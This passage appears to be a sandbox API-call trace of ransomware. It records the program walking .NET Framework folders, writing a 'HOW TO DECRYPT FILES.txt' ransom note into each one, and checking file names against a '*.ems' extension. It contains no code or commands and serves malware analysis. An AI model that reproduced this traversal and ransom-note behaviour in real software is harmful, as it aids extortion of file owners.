1 [0135.715] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0135.715] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0135.715] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfec7459e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0409", cAlternateFileName="")) returned 1 [0135.715] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0135.715] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0135.715] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\*.*") returned="*.*" [0135.715] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\", lpString2="0409" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409" [0135.715] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfec7459e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0135.716] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0135.716] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfec7459e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.716] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0135.716] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0135.716] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x889f6a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x889f6a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xa8b6259c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6f50, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mscorsecr.dll", cAlternateFileName="")) returned 1 [0135.716] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0135.716] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorsecr.dll") returned -1 [0135.716] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorsecr.dll") returned -1 [0135.716] lstrcmpiA (lpString1="", lpString2="mscorsecr.dll") returned -1 [0135.716] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\*.*") returned="*.*" [0135.716] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\" [0135.716] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\") returned="" [0135.716] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\HOW TO DECRYPT FILES.txt" [0135.717] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mui\\0409\\how to decrypt files.txt")) returned 0xffffffff [0135.717] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mui\\0409\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0135.719] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0135.719] CloseHandle (hObject=0x94) returned 1 [0135.719] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\", lpString2="mscorsecr.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\mscorsecr.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\mscorsecr.dll" [0135.719] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\0409\\mscorsecr.dll", pszSpec="*.ems") returned 0 [0135.720] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x889f6a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x889f6a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xa8b6259c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6f50, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mscorsecr.dll", cAlternateFileName="")) returned 0 [0135.720] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0135.720] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfec7459e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0409", cAlternateFileName="")) returned 0 [0135.720] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0135.720] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833788a2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833788a2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833788a2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17d48, dwReserved0=0x55004d, dwReserved1=0x49, cFileName="ngen.exe", cAlternateFileName="")) returned 1 [0135.720] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.720] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ngen.exe") returned -1 [0135.720] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ngen.exe") returned -1 [0135.720] lstrcmpiA (lpString1="", lpString2="ngen.exe") returned -1 [0135.720] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\*.*") returned="*.*" [0135.720] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.720] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.720] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.720] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.720] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="ngen.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.exe" [0135.721] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.exe", pszSpec="*.ems") returned 0 [0135.721] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a3b58ca, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4a3b58ca, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xd0be0600, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x3cc76, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0135.721] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.721] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ngen.log") returned -1 [0135.721] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ngen.log") returned -1 [0135.721] lstrcmpiA (lpString1="", lpString2="ngen.log") returned -1 [0135.721] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.exe") returned="ngen.exe" [0135.721] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.721] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.721] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.721] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.721] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="ngen.log" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.log") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.log" [0135.721] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.log", pszSpec="*.ems") returned 0 [0135.722] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24678c3f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24678c3f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x7089d4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x168224, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen_service.log", cAlternateFileName="NGEN_S~1.LOG")) returned 1 [0135.722] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.722] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ngen_service.log") returned -1 [0135.722] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ngen_service.log") returned -1 [0135.722] lstrcmpiA (lpString1="", lpString2="ngen_service.log") returned -1 [0135.722] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.log") returned="ngen.log" [0135.722] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.722] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.723] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.723] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.723] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="ngen_service.log" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen_service.log") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen_service.log" [0135.723] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen_service.log", pszSpec="*.ems") returned 0 [0135.723] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfffe6a9a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfffe6a9a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa972323c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5348, dwReserved0=0x0, dwReserved1=0x0, cFileName="normalization.dll", cAlternateFileName="")) returned 1 [0135.723] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.723] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="normalization.dll") returned -1 [0135.723] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="normalization.dll") returned -1 [0135.723] lstrcmpiA (lpString1="", lpString2="normalization.dll") returned -1 [0135.723] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen_service.log") returned="ngen_service.log" [0135.724] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.724] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.724] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.724] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.724] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="normalization.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normalization.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normalization.dll" [0135.724] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normalization.dll", pszSpec="*.ems") returned 0 [0135.724] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32d58, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x32d58, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xa9a42f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xe7ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="normidna.nlp", cAlternateFileName="")) returned 1 [0135.724] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.724] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="normidna.nlp") returned -1 [0135.724] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="normidna.nlp") returned -1 [0135.724] lstrcmpiA (lpString1="", lpString2="normidna.nlp") returned -1 [0135.724] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normalization.dll") returned="normalization.dll" [0135.724] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.724] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.724] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.725] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.725] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="normidna.nlp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normidna.nlp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normidna.nlp" [0135.725] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normidna.nlp", pszSpec="*.ems") returned 0 [0135.725] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58eb7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x58eb7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xa9a6907c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xb2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfc.nlp", cAlternateFileName="")) returned 1 [0135.725] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.725] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="normnfc.nlp") returned -1 [0135.725] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="normnfc.nlp") returned -1 [0135.725] lstrcmpiA (lpString1="", lpString2="normnfc.nlp") returned -1 [0135.725] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normidna.nlp") returned="normidna.nlp" [0135.725] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.725] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.725] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.725] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.725] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="normnfc.nlp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfc.nlp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfc.nlp" [0135.725] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfc.nlp", pszSpec="*.ems") returned 0 [0135.726] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5175, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0xa5175, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xa9adb49c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x9974, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfd.nlp", cAlternateFileName="")) returned 1 [0135.726] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.726] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="normnfd.nlp") returned -1 [0135.726] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="normnfd.nlp") returned -1 [0135.726] lstrcmpiA (lpString1="", lpString2="normnfd.nlp") returned -1 [0135.726] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfc.nlp") returned="normnfc.nlp" [0135.726] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.726] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.726] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.726] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.726] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="normnfd.nlp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfd.nlp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfd.nlp" [0135.726] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\normnfd.nlp", pszSpec="*.ems") returned 0 [0135.727] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0xcb2d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xa9b4d8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x10350, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfkc.nlp", cAlternateFileName="")) returned 1 [0135.727] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.727] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="normnfkc.nlp") returned -1 [0135.727] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="normnfkc.nlp") returned -1 [0135.727] lstrcmpiA (lpString1="", lpString2="normnfkc.nlp") returned 